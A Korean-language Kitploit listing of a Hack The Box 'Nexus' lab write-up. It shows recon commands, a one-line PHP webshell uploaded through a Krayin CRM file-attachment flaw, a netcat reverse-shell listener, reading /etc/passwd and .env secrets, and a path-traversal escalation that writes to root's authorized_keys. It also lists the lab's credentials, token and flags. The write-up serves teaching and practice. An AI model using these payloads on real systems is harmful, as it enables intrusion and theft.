Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
htb-labs-nexus — Hack The Box Nexus 머신 라이트업: 정찰, Gitea 자격 증명 발견, CVE-2026-38526을 통한 Krayin CRM 악용, 초기 접근, 그리고 취약한 Gitea 템플릿 동기화 서비스를 통한 권한 상승을 다룹니다. | Kitploit
도구/GitHubGitHub/diegorivas1/htb-labs-nexus
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCTFPenetration TestingLearning & EducationLabs & Practice
GitHubdiegorivas1/htb-labs-nexus

htb-labs-nexus

8시간 2분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Hack The Box Nexus 머신 라이트업: 정찰, Gitea 자격 증명 발견, CVE-2026-38526을 통한 Krayin CRM 악용, 초기 접근, 그리고 취약한 Gitea 템플릿 동기화 서비스를 통한 권한 상승을 다룹니다.

저장소 보기

🏴‍☠️ HTB Labs - Nexus

English 🇺🇸 | Español 🇪🇸

English | Español

HTB Difficulty OS Platform


📋 개요

Nexus는 Hack The Box의 난이도 쉬움(Easy) Linux 머신으로, 가상 호스트 열거, 노출된 자격 증명, 취약한 웹 애플리케이션 기능, 원격 코드 실행, 자격 증명 재사용, 로컬 권한 상승을 포함하는 다단계 공격 체인을 보여줍니다.

공격 체인

root@kitploit:~
정찰
      │
      ▼
가상 호스트 열거
      │
      ├── git.nexus.htb
      └── billing.nexus.htb
              │
              ▼
      Gitea 커밋 기록
              │
              ▼
       노출된 자격 증명
              │
              ▼
        Krayin CRM 로그인
              │
              ▼
      CVE-2026-38526
              │
              ▼
        PHP 웹쉘
              │
              ▼
       리버스 셸
        (www-data)
              │
              ▼
       애플리케이션 .env
              │
              ▼
        jones로 SSH
              │
              ▼
   gitea-template-sync
              │
              ▼
       경로 탐색
              │
              ▼
    악성 Git 저장소
              │
              ▼
         root로 SSH

주요 기법

  • 🔍 가상 호스트 열거
  • 🔑 Git 커밋 기록을 통한 자격 증명 발견
  • 💻 Krayin CRM 악용
  • 🐚 PHP 웹쉘 및 리버스 셸
  • 🔐 자격 증명 재사용
  • 🔬 Linux 서비스 열거
  • 📂 경로 탐색
  • 🌳 악성 Git 저장소 구축
  • 👑 root로 권한 상승

대상 IP: 10.129.82.92


🔍 1단계 정찰

포트 스캐닝

root@kitploit:~
nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92

결과

root@kitploit:~
22/tcp  open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp  open  http  nginx 1.24.0 (Ubuntu)

가상 호스트 열거

root@kitploit:~
gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain

발견된 호스트

root@kitploit:~
git.nexus.htb       → Gitea
billing.nexus.htb   → Krayin CRM

발견된 호스트를 /etc/hosts에 추가:

root@kitploit:~
echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

🔑 2단계 자격 증명 발견

Gitea 열거

다음으로 이동:

root@kitploit:~
http://git.nexus.htb

다음 이름의 저장소:

root@kitploit:~
admin/krayin-docker-setup

Git 기록에 유용한 정보가 포함되어 있습니다.

.env 파일은 이전 커밋에서 복구할 수 있으며, 현재 버전에는 더 이상 존재하지 않는 자격 증명이 드러납니다.

발견된 자격 증명

서비스사용자 이름비밀번호
Krayin CRM[email protected]N27xh!!2ucY04
GiteajonesN27xh!!2ucY04

이메일 주소 [email protected]는 메인 웹사이트의 채용 섹션에서도 확인되었습니다.


💻 3단계 CVE-2026-38526 : Krayin CRM

CRM 로그인

root@kitploit:~
URL: http://billing.nexus.htb/admin/login

Email: [email protected]
Password: N27xh!!2ucY04

웹쉘 업로드

다음으로 이동:

root@kitploit:~
/admin/mail/sent

그런 다음:

  1. 메일 작성(Compose Mail) 을 클릭합니다.
  2. PHP 페이로드를 첨부합니다.
  3. Burp Suite를 사용하여 요청을 가로챕니다.
  4. 업로드된 파일 이름을 수정합니다.
  5. MIME 유형을 변경합니다.
  6. 요청을 전달합니다.

페이로드는 다음 위치에 저장됩니다:

root@kitploit:~
exploits/CVE-2026-38526/shell.php

페이로드:

root@kitploit:~
<?php system($_GET["cmd"]); ?>

관련 multipart 필드는 다음과 같습니다:

root@kitploit:~
Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php

웹쉘

성공적인 업로드 후:

root@kitploit:~
http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id

예상 결과:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

📡 4단계 리버스 셸

리스너 시작:

root@kitploit:~
nc -lvnp 4444

그런 다음 업로드된 웹쉘을 통해 리버스 셸을 트리거합니다.

Python 구현은 다음 위치에서 확인할 수 있습니다:

root@kitploit:~
exploits/CVE-2026-38526/reverse_shell.py

이 단계에서 셸은 다음 권한으로 획득됩니다:

root@kitploit:~
www-data

🐚 5단계 사용자 액세스

애플리케이션 구성 파일 읽기

Krayin 구성을 확인합니다:

root@kitploit:~
cat /var/www/krayin/.env

자격 증명이 발견됩니다:

root@kitploit:~
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

사용자 열거

root@kitploit:~
cat /etc/passwd | grep sh$

jones 계정이 확인됩니다.

jones로 SSH

root@kitploit:~
ssh [email protected]

비밀번호:

root@kitploit:~
y27xb3ha!!74GbR

사용자 플래그

root@kitploit:~
f20cbf9aeb6bb228d356a42ff49c1933

🔬 6단계 권한 상승

서비스 열거

root@kitploit:~
systemctl list-units | grep -i gitea

다음 서비스와 타이머가 확인됩니다:

root@kitploit:~
gitea-template-sync.timer
gitea-template-sync.service

이 서비스는 상승된 권한으로 실행됩니다.

취약한 스크립트

root@kitploit:~
/etc/gitea/template-sync.py

동기화 메커니즘은 경로 탐색을 통해 악용될 수 있는 경로 구성을 사용합니다.


🎯 7단계 악성 Git 저장소

SSH 키 쌍 생성:

root@kitploit:~
ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub

Git 객체 조작 익스플로잇은 다음 위치에 있습니다:

root@kitploit:~
exploits/gitea_template_sync/exploit_git.py

저장소 생성:

root@kitploit:~
cd /tmp
rm -rf exploit
mkdir exploit
cd exploit

git init
python3 exploit_git.py

저장소는 다음 브랜치를 사용해야 합니다:

root@kitploit:~
main

Gitea 토큰

다음을 통해 개인 액세스 토큰을 생성합니다:

root@kitploit:~
http://git.nexus.htb

다음으로 이동:

root@kitploit:~
Settings → Applications

그런 다음 원격 저장소를 구성합니다:

root@kitploit:~
git remote set-url origin http://jones:[email protected]/jones/exploit.git

악성 저장소를 푸시합니다:

root@kitploit:~
git push -f origin main

⏰ 8단계 템플릿 동기화

동기화 로그 모니터링:

root@kitploit:~
tail -f /var/log/template-sync.log

성공적인 동기화는 악성 Git 트리가 권한 있는 서비스에 의해 처리됨을 의미합니다.

예시:

root@kitploit:~
[2026-08-27 02:01:30] Syncing template: jones/exploit
[2026-08-27 02:01:30]   synced: ../../../../../root/.ssh/authorized_keys
[2026-08-27 02:01:30] Template sync complete

👑 9단계 Root

SSH 공개 키가 root 계정에 기록된 후:

root@kitploit:~
ssh -i /tmp/nexus_root [email protected]

액세스 확인:

root@kitploit:~
whoami

예상 결과:

root@kitploit:~
root

root 플래그 검색:

root@kitploit:~
cat /root/root.txt

Root 플래그

root@kitploit:~
85be1d2a3084e387da0e7dd118908c63

🏆 플래그

플래그값
Userf20cbf9aeb6bb228d356a42ff49c1933
Root85be1d2a3084e387da0e7dd118908c63

🔐 자격 증명

이 자격 증명은 이 저장소에 문서화된 Hack The Box 실습 환경에 속합니다.


🛠️ 도구


📁 저장소 구조

root@kitploit:~
htb-labs-nexus/
├── README.md
├── exploits/
│   ├── CVE-2026-38526/
│   │   ├── shell.php
│   │   ├── reverse_shell.py
│   │   └── burp_request.txt
│   └── gitea_template_sync/
│       ├── exploit_git.py
│       ├── create_repo.sh
│       └── key.pub
├── scripts/
│   ├── linpeas.sh
│   ├── LinEnum.sh
│   └── enum_services.sh
├── assets/
│   ├── nmap_scan.txt
│   ├── gobuster_vhost.txt
│   └── credentials.txt
├── screenshots/
│   ├── gitea_repo.png
│   ├── crm_login.png
│   ├── webshell.png
│   └── root_flag.png
└── notes/
    ├── methodology.md
    ├── commands.md
    └── credentials.md

📚 추가 자료

  • CVE-2026-38526
  • Krayin CRM
  • Gitea Documentation
  • OWASP Path Traversal

⚠️ 면책 조항

이 저장소는 교육 목적 및 승인된 보안 테스트 전용으로 제작되었습니다.

여기에 문서화된 기법, 자격 증명, 익스플로잇 및 명령은 명시적 승인 없이 시스템에 사용해서는 안 됩니다.


🎯 핵심 교훈

  1. 🔍 가상 호스트 열거: 중요한 서비스가 서브도메인 뒤에 숨겨져 있을 수 있습니다.
  2. 🔑 Git 기록 검토: 파일에서 비밀을 제거한다고 해서 저장소 기록에서 사라진 것은 아닙니다.
  3. 💻 파일 업로드 분석: 확장자 및 MIME 유형 검증은 중요한 보안 통제가 될 수 있습니다.
  4. 🐚 셸 획득 후 열거: 구성 파일에 재사용 가능한 자격 증명이 포함될 수 있습니다.
  5. 🔬 권한 있는 서비스 검토: root로 실행되는 서비스는 권한 상승 벡터가 될 수 있습니다.
  6. 📂 파일 경로를 올바르게 검증: 사용자 제어 경로의 안전하지 않은 처리는 경로 탐색 취약점을 유발할 수 있습니다.
  7. 🌳 Git은 공격 벡터가 될 수 있습니다: 애플리케이션이 Git 객체와 트리 구조를 잘못 신뢰하면 조작될 수 있습니다.

🙏 크레딧

  • Hack The Box : 머신 및 실습 플랫폼
  • P3lured : 원본 write-up
  • Tran Manh Tan : 보충 가이드

⭐ 이 write-up이 유용했다면 저장소에 스타를 남겨주시기 바랍니다.

도구 다운로드
서비스사용자 이름비밀번호 / 키
Krayin CRM[email protected]N27xh!!2ucY04
GiteajonesN27xh!!2ucY04
Gitea 토큰jones1dd7105bf7e57cad02c5a56af5d92703a7839364
SSHjonesy27xb3ha!!74GbR
SSH Rootroot/tmp/nexus_root
도구용도
Nmap포트 및 서비스 열거
Gobuster가상 호스트 열거
Burp SuiteHTTP 요청 가로채기 및 수정
Git저장소 분석 및 악성 저장소 구축
Python 3익스플로잇 스크립트
Netcat리버스 셸 리스너
LinEnumLinux 열거
LinPEAS권한 상승 열거
SSH원격 액세스